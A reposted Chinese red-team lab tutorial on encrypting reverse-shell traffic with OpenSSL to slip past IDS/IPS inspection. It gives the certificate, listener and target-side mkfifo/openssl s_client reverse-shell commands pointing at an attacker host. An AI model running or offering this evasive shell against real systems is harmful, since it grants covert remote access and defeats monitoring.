码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密


      前文推荐:

    • 《红蓝攻防对抗实战》一. 隧道穿透技术详解
    • 《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
    • 《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
    • 《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
    • 《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
    • 《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
    • 《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell

    在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-1所示。

    ​

    图1-1  OpenSSL 反弹shell实验拓扑图

    1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-2所示,最后会生成cert.pem和key.pem这两个文件。

    表1-1 常见使用参数

    参数

    作用

    -new

    表示生成一个新的证书签署要求

    -x509

    专用于生成CA自签证书

     -key

    指定生成证书用到的私钥文件

    -out FILNAME

    指定生成的证书的保存路径

    -days

    指定证书的有效期限,单位为day,默认是365天

    -notes

    生成的私钥文件不会被加密

    ​

    图1-2 攻击机生成自签名证书

    2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-3所示。

    ​

    图1-3攻击机开启监听

    3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-4所示

    ​

    图1-4 目标服务器执行反弹shell命令

    4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-5所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

    ​

    图1-5 攻击机获取反弹shell

  • 相关阅读:
    【Vue3 源码解析】nextTick
    CSS函数: translate、translate3d的使用
    短链接系统的设计与实现
    Linux学习第36天:Linux RTC 驱动实验:时间是一条流淌的河
    金仓数据库KingbaseES客户端编程开发框架-Django(4. 通用注意事项)
    Inkscape如何将png图片转换为svg图片并且不失真
    基于MRF和CNN的图像生成
    金仓数据库KingbaseES物理备份恢复命令选项(backup命令)
    无涯教程-JavaScript - MROUND函数
    可道云teamOS企业网盘实用插件介绍:实时在线流程图编辑与分享,用在线流程图打造数字化工作流程
  • 原文地址:https://blog.csdn.net/weixin_46192679/article/details/134021948
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号